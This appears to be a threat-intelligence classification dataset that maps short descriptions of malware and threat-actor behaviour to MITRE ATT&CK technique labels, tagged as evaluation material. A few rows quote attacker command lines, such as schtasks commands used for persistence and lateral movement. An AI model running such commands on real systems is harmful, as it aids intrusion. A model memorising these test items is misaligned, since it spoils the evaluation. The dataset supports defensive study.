Calisto's installation file is an unsigned DMG image under the guise of Intego’s security solution for mac.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"Chimera has renamed malware to GoogleUpdate.exe and WinRAR to jucheck.exe, RecordedTV.ms, teredo.tmp, update.exe, and msadcs1.exe.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
Chinoxy has used the name `eoffice.exe` in attempt to appear as a legitimate file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"Cyclops Blink can rename its running process to ""[kworker:0/1]"" to masquerade as a Linux kernel thread. Cyclops Blink has also named RC scripts used for persistence after WatchGuard artifacts.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
DarkComet has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as a legitimate file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"Daserf uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
Doki has disguised a file as a Linux kernel module.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"EKANS has been disguised as ""update.exe"" to appear as a valid executable.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
Magic Hound has used the name dllhost.exe to mask a malicious tool used in C2.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
PipeMon modules are stored on disk with seemingly benign names including use of a file extension associated with a popular word processor.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
PowGoop has used a DLL named Goopdate.dll to impersonate a legitimate Google update file.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
PyDCrypt has dropped DCSrv under the `svchost.exe` name to disk.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
SUPERNOVA has masqueraded as a legitimate SolarWinds DLL.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"Silence has named its backdoor ""WINWORD.exe"".",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
StrifeWater has been named `calc.exe` to appear as a legitimate calculator program.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"UNC2452 renamed a version of AdFind to ""sqlceip.exe"" or ""csrss.exe"" in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
Whitefly has named the malicious DLL the same name as DLLs belonging to legitimate software from various security vendors.,['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
Milan has used an executable named `companycatalog.exe.config` to appear benign.,['T1036.007 - Masquerading: Double File Extension'],eval_config
"During C0015, the threat actors collected files from network shared drives prior to network encryption.",['T1039 - Data from Network Shared Drive'],eval_config
APT33 has used SniffPass to collect credentials by sniffing network traffic.,['T1040 - Network Sniffing'],eval_config
Kimsuky has used the Nirsoft SniffPass network sniffer to obtain passwords sent over non-secure protocols.,['T1040 - Network Sniffing'],eval_config
"After data is collected by Stealth Falcon malware, it is exfiltrated over the existing C2 channel.",['T1041 - Exfiltration Over C2 Channel'],eval_config
AppleSeed can exfiltrate files via the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],eval_config
Confucius has exfiltrated stolen files to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],eval_config
EVILNUM can upload files over the C2 channel from the infected host.,['T1041 - Exfiltration Over C2 Channel'],eval_config
Empire can send data gathered from a target through the command and control channel.,['T1041 - Exfiltration Over C2 Channel'],eval_config
GoldMax can exfiltrate files over the existing C2 channel.,['T1041 - Exfiltration Over C2 Channel'],eval_config
IceApple's Multi File Exfiltrator module can exfiltrate multiple files from a compromised host as an HTTP response over C2.,['T1041 - Exfiltration Over C2 Channel'],eval_config
Ke3chang transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.,['T1041 - Exfiltration Over C2 Channel'],eval_config
Mis-Type has transmitted collected files and data to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],eval_config
MobileOrder exfiltrates data to its C2 server over the same protocol as C2 communications.,['T1041 - Exfiltration Over C2 Channel'],eval_config
RDAT can exfiltrate data gathered from the infected system via the established Exchange Web Services API C2 channel.,['T1041 - Exfiltration Over C2 Channel'],eval_config
ROKRAT can send collected files back over same C2 channel.,['T1041 - Exfiltration Over C2 Channel'],eval_config
Rising Sun can send data gathered from the infected machine via HTTP POST request to the C2.,['T1041 - Exfiltration Over C2 Channel'],eval_config
SLOTHFULMEDIA has sent system information to a C2 server via HTTP and HTTPS POST requests.,['T1041 - Exfiltration Over C2 Channel'],eval_config
Caterpillar WebShell has a module to use a port scanner on a system.,['T1046 - Network Service Discovery'],eval_config
Cobalt Strike can perform port scans from an infected host.,['T1046 - Network Service Discovery'],eval_config
DarkVishnya performed port scanning to obtain the list of active services.,['T1046 - Network Service Discovery'],eval_config
Empire can perform port scans from an infected host.,['T1046 - Network Service Discovery'],eval_config
Lazarus Group has used nmap from a router VM to scan ports on systems within the restricted segment of an enterprise network.,['T1046 - Network Service Discovery'],eval_config
Naikon has used the LadonGo scanner to scan target networks.,['T1046 - Network Service Discovery'],eval_config
Ramsay can scan for systems that are vulnerable to the EternalBlue exploit.,['T1046 - Network Service Discovery'],eval_config
XTunnel is capable of probing the network for open ports.,['T1046 - Network Service Discovery'],eval_config
Xbash can perform port scanning of TCP and UDP ports.,['T1046 - Network Service Discovery'],eval_config
Avaddon uses wmic.exe to delete shadow copies.,['T1047 - Windows Management Instrumentation'],eval_config
Bazar can execute a WMI query to gather information about the installed antivirus engine.,['T1047 - Windows Management Instrumentation'],eval_config
Cobalt Strike can use WMI to deliver a payload to a remote host.,['T1047 - Windows Management Instrumentation'],eval_config
DEATHRANSOM has the ability to use WMI to delete volume shadow copies.,['T1047 - Windows Management Instrumentation'],eval_config
"During Operation Wocao, threat actors has used WMI to execute commands.",['T1047 - Windows Management Instrumentation'],eval_config
Indrik Spider has used WMIC to execute commands on remote computers.,['T1047 - Windows Management Instrumentation'],eval_config
KOMPROGO is capable of running WMI queries.,['T1047 - Windows Management Instrumentation'],eval_config
Kazuar obtains a list of running processes through WMI querying.,['T1047 - Windows Management Instrumentation'],eval_config
MoleNet can perform WMI commands on the system.,['T1047 - Windows Management Instrumentation'],eval_config
Mustang Panda has executed PowerShell scripts via WMI.,['T1047 - Windows Management Instrumentation'],eval_config
One variant of Zebrocy uses WMI queries to gather information.,['T1047 - Windows Management Instrumentation'],eval_config
FIN6 has sent stolen payment card data to remote servers via HTTP POSTs.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],eval_config
OilRig has exfiltrated data over FTP separately from its primary C2 channel over DNS.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],eval_config
"Rclone can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],eval_config
"APT41 has enumerated IP addresses of network resources and used the ""netstat"" command as part of network reconnaissance. The group has also used a malware variant, HIGHNOON, to enumerate active RDP sessions.",['T1049 - System Network Connections Discovery'],eval_config
"After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the victim server.",['T1049 - System Network Connections Discovery'],eval_config
CharmPower can use `netsh wlan show profiles` to list specific Wi-Fi profile details.,['T1049 - System Network Connections Discovery'],eval_config
CrackMapExec can discover active sessions for a targeted system.,['T1049 - System Network Connections Discovery'],eval_config
"During Operation CuckooBees, the threat actors used the `net session`, `net use`, and `netstat` commands as part of their advanced reconnaissance.",['T1049 - System Network Connections Discovery'],eval_config
Lizar has a plugin to retrieve information about all active network sessions on the infected server.,['T1049 - System Network Connections Discovery'],eval_config
"Mustang Panda has used ""netstat -ano"" to determine network connection information.",['T1049 - System Network Connections Discovery'],eval_config
"OSInfo enumerates the current network connections similar to "" net use "".",['T1049 - System Network Connections Discovery'],eval_config
Operation Wocao has collected a list of open connections on the infected system using netstat and checks whether it has an internet connection.,['T1049 - System Network Connections Discovery'],eval_config
Torisma can use `WTSEnumerateSessionsW` to monitor remote desktop connections.,['T1049 - System Network Connections Discovery'],eval_config
Trojan.Karagany can use netstat to collect a list of network connections.,['T1049 - System Network Connections Discovery'],eval_config
nbtstat can be used to discover current NetBIOS sessions.,['T1049 - System Network Connections Discovery'],eval_config
Machete has a feature to copy files from every drive onto a removable drive in a hidden folder.,['T1052.001 - Exfiltration over USB'],eval_config
Tropic Trooper has exfiltrated data using USB storage devices.,['T1052.001 - Exfiltration over USB'],eval_config
Lokibot's second stage DLL has set a timer using “timeSetEvent” to schedule its next execution.,['T1053 - Scheduled Task/Job'],eval_config
Remsec schedules the execution one of its modules by creating a new scheduler task.,['T1053 - Scheduled Task/Job'],eval_config
APT18 actors used the native at Windows task scheduler tool to use scheduled tasks for execution on a victim network.,['T1053.002 - Scheduled Task/Job: At'],eval_config
MURKYTOP has the capability to schedule remote AT jobs.,['T1053.002 - Scheduled Task/Job: At'],eval_config
NETWIRE can use crontabs to establish persistence.,['T1053.003 - Scheduled Task/Job: Cron'],eval_config
"Bad Rabbit’s ""infpub.dat"" file creates a scheduled task to launch a malicious executable.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Bumblebee can achieve persistence by copying its DLL to a subdirectory of %APPDATA% and creating a Visual Basic Script that will load the DLL via a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"Chimera has used scheduled tasks to invoke Cobalt Strike including through batch script ""schtasks /create /ru ""SYSTEM"" /tn ""update"" /tr ""cmd /c c:\windows\temp\update.bat"" /sc once /f /st"" and to maintain persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
DanBot can use a scheduled task for installation.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"During Operation CuckooBees, the threat actors used scheduled tasks to execute batch scripts for lateral movement with the following command: `SCHTASKS /Create /S <IP Address> /U <Username> /p <Password> /SC ONCE /TN test /TR <Path to a Batch File> /ST <Time> /RU SYSTEM.`",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Emotet has maintained persistence through a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
HermeticWiper has the ability to use scheduled tasks for execution.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"Higaisa dropped and added ""officeupdate.exe"" to scheduled tasks.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
IcedID has created a scheduled task that executes every hour to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"InvisiMole has used scheduled tasks named ""MSST"" and ""\Microsoft\Windows\Autochk\Scheduled"" to establish persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Naikon has used schtasks.exe for lateral movement in compromised networks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
NotPetya creates a task to reboot the system one hour after infection.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
OilRig has created scheduled tasks that run a VBScript to execute a payload on victim machines.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"POWERSTATS has established persistence through a scheduled task using the command ""”C:\Windows\system32\schtasks.exe” /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR “c:\Windows\system32\wscript.exe C:\Windows\temp\Windows.vbe”"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
QakBot has the ability to create scheduled tasks for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Revenge RAT schedules tasks to run malicious scripts at different intervals.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"SUGARDUMP has created scheduled tasks called `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` and `MicrosoftEdgeCrashRepoeterTaskMachineUA`, which were configured to execute `CrashReporter.exe` during user logon.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Sibot has been executed via a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Smoke Loader launches a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
SoreFang can gain persistence through use of scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
"UNC2452 used ""scheduler"" and ""schtasks"" to create new tasks on remote hosts as part of lateral movement. They also manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration. UNC2452 also created a scheduled task to maintain SUNSPOT persistence when the host booted.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
ZxxZ has used scheduled tasks for persistence and execution.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
Backdoor.Oldrea injects itself into explorer.exe.,['T1055 - Process Injection'],eval_config
"Bazar can inject code through calling ""VirtualAllocExNuma"".",['T1055 - Process Injection'],eval_config
Cobalt Strike can inject a variety of payloads into processes dynamically chosen by the adversary.,['T1055 - Process Injection'],eval_config
"Empire contains multiple modules for injecting into processes, such as ""Invoke-PSInject"".",['T1055 - Process Injection'],eval_config
"Operation Wocao has injected code into a selected process, which in turn launches a command as a child process of the original.",['T1055 - Process Injection'],eval_config
"TSCookie has the ability to inject code into the svchost.exe, iexplorer.exe, explorer.exe, and default browser processes.",['T1055 - Process Injection'],eval_config
"An executable dropped onto victims by Putter Panda aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).",['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
BlackEnergy injects its DLL component into svchost.exe.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
Cobalt Strike has the ability to load DLLs via reflective injection.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
ComRAT has injected its orchestrator DLL into explorer.exe. ComRAT has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
Derusbi injects itself into the secure shell (SSH) process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
Lizar has used the PowerKatz plugin that can be loaded into the address space of a PowerShell process through reflective DLL loading.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
ShadowPad has injected a DLL into svchost.exe.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
TajMahal has the ability to inject DLLs for malicious plugins into running processes.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
InvisiMole can inject its backdoor as a portable executable into a target process.,['T1055.002 - Process Injection: Portable Executable Injection'],eval_config
BADNEWS has a command to download an .exe and use process hollowing to inject it into a new process.,['T1055.012 - Process Injection: Process Hollowing'],eval_config
"Dtrack has used process hollowing shellcode to target a predefined list of processes from ""%SYSTEM32%"".",['T1055.012 - Process Injection: Process Hollowing'],eval_config
QakBot can use process hollowing to execute its main payload.,['T1055.012 - Process Injection: Process Hollowing'],eval_config
APT34 has used a keylogging tool called KEYPUNCH.,['T1056 - Input Capture'],eval_config
Chaes has a module to perform any API hooking it desires.,['T1056 - Input Capture'],eval_config
FlawedAmmyy can collect mouse events.,['T1056 - Input Capture'],eval_config
Cadelspy has the ability to log keystrokes on the compromised host.,['T1056.001 - Input Capture: Keylogging'],eval_config
Clambling can capture keystrokes on a compromised host.,['T1056.001 - Input Capture: Keylogging'],eval_config
Daserf can log keystrokes.,['T1056.001 - Input Capture: Keylogging'],eval_config
Derusbi is capable of logging keystrokes.,['T1056.001 - Input Capture: Keylogging'],eval_config
"During Operation Wocao, threat actors obtained the password for the victim's password manager via a custom keylogger.",['T1056.001 - Input Capture: Keylogging'],eval_config
"Empire includes keylogging capabilities for Windows, Linux, and macOS systems.",['T1056.001 - Input Capture: Keylogging'],eval_config
Explosive has leveraged its keylogging capabilities to gain access to administrator accounts on target servers.,['T1056.001 - Input Capture: Keylogging'],eval_config
JPIN contains a custom keylogger.,['T1056.001 - Input Capture: Keylogging'],eval_config
Magic Hound malware is capable of keylogging.,['T1056.001 - Input Capture: Keylogging'],eval_config
Malware used by Group5 is capable of capturing keystrokes.,['T1056.001 - Input Capture: Keylogging'],eval_config
MarkiRAT can capture all keystrokes on a compromised host.,['T1056.001 - Input Capture: Keylogging'],eval_config
NETWIRE can perform keylogging.,['T1056.001 - Input Capture: Keylogging'],eval_config
NetTraveler contains a keylogger.,['T1056.001 - Input Capture: Keylogging'],eval_config
PcShare has the ability to capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],eval_config
PoetRAT has used a Python tool named klog.exe for keylogging.,['T1056.001 - Input Capture: Keylogging'],eval_config
SILENTTRINITY has a keylogging capability.,['T1056.001 - Input Capture: Keylogging'],eval_config
"WarzoneRAT has the capability to install a live and offline keylogger, including through the use of the `GetAsyncKeyState` Windows API.",['T1056.001 - Input Capture: Keylogging'],eval_config
njRAT is capable of logging keystrokes.,['T1056.001 - Input Capture: Keylogging'],eval_config
Bundlore prompts the user for their credentials.,['T1056.002 - Input Capture: GUI Input Capture'],eval_config
Proton prompts users for their credentials.,['T1056.002 - Input Capture: GUI Input Capture'],eval_config
SILENTTRINITY's `credphisher.py` module can prompt a current user for their credentials.,['T1056.002 - Input Capture: GUI Input Capture'],eval_config
The IceApple OWA credential logger can monitor for OWA authentication requests and log the credentials.,['T1056.003 - Web Portal Capture'],eval_config
Carberp has hooked several Windows API functions to steal credentials.,['T1056.004 - Input Capture: Credential API Hooking'],eval_config
FinFisher hooks processes by modifying IAT pointers to CreateWindowEx.,['T1056.004 - Input Capture: Credential API Hooking'],eval_config
Zeus Panda hooks processes by leveraging its own IAT hooked functions.,['T1056.004 - Input Capture: Credential API Hooking'],eval_config
Agent Tesla can list the current running processes on the system.,['T1057 - Process Discovery'],eval_config
"Bonadan can use the ""ps"" command to discover other cryptocurrency miners active on the system.",['T1057 - Process Discovery'],eval_config
Carbon can list the processes on the victim’s machine.,['T1057 - Process Discovery'],eval_config
CharmPower has the ability to list running processes through the use of `tasklist`.,['T1057 - Process Discovery'],eval_config
"Comnie uses the ""tasklist"" to view running processes on the victim’s machine.",['T1057 - Process Discovery'],eval_config
"Diavol has used `CreateToolhelp32Snapshot`, `Process32First`, and `Process32Next` API calls to enumerate the running processes in the system.",['T1057 - Process Discovery'],eval_config
EKANS looks for processes from a hard-coded list.,['T1057 - Process Discovery'],eval_config
Emotet has been observed enumerating local processes.,['T1057 - Process Discovery'],eval_config
Empire can find information about processes running on local and remote systems.,['T1057 - Process Discovery'],eval_config
"FoggyWeb's loader can enumerate all Common Language Runtimes (CLRs) and running Application Domains in the compromised AD FS server's ""Microsoft.IdentityServer.ServiceHost.exe"" process.",['T1057 - Process Discovery'],eval_config
Get2 has the ability to identify running processes on an infected host.,['T1057 - Process Discovery'],eval_config
HotCroissant has the ability to list running processes on the infected host.,['T1057 - Process Discovery'],eval_config
"Imminent Monitor has a ""Process Watcher"" feature to monitor processes in case the client ever crashes or gets closed.",['T1057 - Process Discovery'],eval_config
JPIN can list running processes.,['T1057 - Process Discovery'],eval_config
"KillDisk has called ""GetCurrentProcess"".",['T1057 - Process Discovery'],eval_config
Linfo creates a backdoor through which remote attackers can retrieve a list of running processes.,['T1057 - Process Discovery'],eval_config
Lizar has a plugin designed to obtain a list of processes.,['T1057 - Process Discovery'],eval_config
Metamorfo has performed process name checks and has monitored applications.,['T1057 - Process Discovery'],eval_config
NETWIRE can discover processes on compromised hosts.,['T1057 - Process Discovery'],eval_config
Operation Wocao has collected a list of running processes on the infected system.,['T1057 - Process Discovery'],eval_config
RCSession can identify processes based on PID.,['T1057 - Process Discovery'],eval_config
Several Lazarus Group malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by Lazarus Group also gathers process times.,['T1057 - Process Discovery'],eval_config
"SombRAT can use the ""getprocesslist"" command to enumerate processes on a compromised host.",['T1057 - Process Discovery'],eval_config
Stealth Falcon malware gathers a list of running processes.,['T1057 - Process Discovery'],eval_config
SynAck enumerates all running processes.,['T1057 - Process Discovery'],eval_config
Valak has the ability to enumerate running processes on a compromised host.,['T1057 - Process Discovery'],eval_config
Waterbear can identify the process for a specific security product.,['T1057 - Process Discovery'],eval_config
WinMM sets a WH_CBT Windows hook to collect information on process creation.,['T1057 - Process Discovery'],eval_config
"XAgentOSX contains the getProcessList function to run ""ps aux"" to get running processes.",['T1057 - Process Discovery'],eval_config
iKitten lists the current processes running.,['T1057 - Process Discovery'],eval_config
Bandook can support commands to execute Java-based payloads.,['T1059 - Command and Scripting Interpreter'],eval_config
DarkComet can execute various types of scripts on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],eval_config
DarkComet can launch a remote shell to execute commands on the victim’s machine.,"['T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",eval_config
Dragonfly 2.0 used command line for execution.,['T1059 - Command and Scripting Interpreter'],eval_config
"For Operation Spalax, the threat actors used Nullsoft Scriptable Install System (NSIS) scripts to install malware.",['T1059 - Command and Scripting Interpreter'],eval_config
Melcoz has been distributed through an AutoIt loader script.,['T1059 - Command and Scripting Interpreter'],eval_config
Windigo has used a Perl script for information gathering.,['T1059 - Command and Scripting Interpreter'],eval_config
Zeus Panda can launch remote scripts on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],eval_config
APT41 leveraged PowerShell to deploy malware families in victims’ environments.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Cobalt Strike can execute a payload on a remote host with PowerShell. This technique does not write any data to disk. Cobalt Strike can also use PowerSploit and other scripting frameworks to perform execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Donut can generate shellcode outputs that execute via PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
FatDuke has the ability to execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
FlawedAmmyy has used PowerShell to execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Gorgon Group malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim’s machine.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Lazarus Group has used PowerShell to execute commands and malicious code.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
MoleNet can use PowerShell to set persistence.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
OSX_OCEANLOTUS.D uses PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
PS1 can utilize a PowerShell loader.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"Patchwork used PowerSploit to download payloads, run a reverse shell, and execute malware on the victim's machine.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Pillowmint has used a PowerShell script to install a shim database.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
PowerPunch has the ability to execute through PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
PowerStallion uses PowerShell loops to iteratively check for available commands in its OneDrive C2 server.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Pupy has a module for loading and executing PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
QUADAGENT uses PowerShell scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
RegDuke can extract and execute PowerShell scripts from C2 communications.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Sandworm Team has used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Silence has used PowerShell to download and execute payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"Turla has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from Empire's PSInject. Turla has also used PowerShell scripts to load and execute malware in memory.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
Ursnif droppers have used PowerShell in download cradles to download and execute the malware's full executable payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
njRAT has executed PowerShell commands via auto-run registry key persistence.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
"Adversaries can direct BACKSPACE to execute from the command line on infected hosts, or have BACKSPACE create a reverse shell.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
AuditCred can open a reverse shell on the system to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Chaes has used cmd to execute tasks on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Cobian RAT can launch a remote command shell interface for executing commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
CoinTicker executes a bash script to establish a reverse shell.,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.004 - Command and Scripting Interpreter: Bash']",eval_config
Crimson has the ability to execute commands with the COMSPEC environment variable.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"During Frankenstein, the threat actors ran a command script to set up persistence as a scheduled task named ""WinUpdate"", as well as other encoded commands from the command-line",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"During Operation CuckooBees, the threat actors used batch scripts to perform reconnaissance.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
ECCENTRICBANDWAGON can use cmd to execute commands on a victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
EnvyScout can use cmd.exe to execute malicious files on compromised hosts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Flagpro can use `cmd.exe` to execute commands received from C2.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Gelsemium can use a batch script to delete itself.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
GreyEnergy uses cmd.exe to execute itself in-memory.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"GrimAgent can use the Windows Command Shell to execute commands, including its own removal.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
HOPLIGHT can launch cmd.exe to execute commands on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"HotCroissant can remotely open applications on the infected host with the ""ShellExecuteA"" command.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
InnaputRAT launches a shell to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
KONNI has used cmd.exe to execute arbitrary commands on the infected host across different stages of the infection chain.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Kazuar uses cmd.exe to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Koadic can open an interactive command-shell to perform command line functions on victim machines. Koadic performs most of its operations using Windows Script Host (Jscript) and to run arbitrary shellcode.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
MURKYTOP uses the command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"Metamorfo has used ""cmd.exe /c"" to execute files.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
PingPull can use `cmd.exe` to run various commands as a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Pisloader uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
PoetRAT has called cmd through a Word document macro.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"PowerDuke runs ""cmd.exe /c"" and sends the output to its C2.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
QuasarRAT can launch a remote shell to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
RCSession can use `cmd.exe` for execution on compromised hosts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Remcos can launch a remote command line to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Rising Sun has executed commands using `cmd.exe /c “<command> > <%temp%>\AM<random>. tmp” 2>&1`.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
SQLRat has used SQL to execute JavaScript and VB scripts on the host system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
SUGARUSH has used `cmd` for execution on an infected host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Several commands are supported by the Honeybee's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint. Honeybee used batch scripting.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
TinyZBot supports execution from the command-line.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Wizard Spider has used cmd.exe to execute commands on a victim's machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
ZIRCONIUM has used a tool to open a Windows Command Shell on a remote host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
ZLib has the ability to execute shell commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
Zeus Panda can launch an interface where it can execute several commands on the victim’s PC.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
AppleJeus has used shell scripts to execute commands after installation and set persistence mechanisms.,['T1059.004 - Command and Scripting Interpreter: Bash'],eval_config
Doki has executed shell scripts with /bin/sh.,['T1059.004 - Command and Scripting Interpreter: Bash'],eval_config
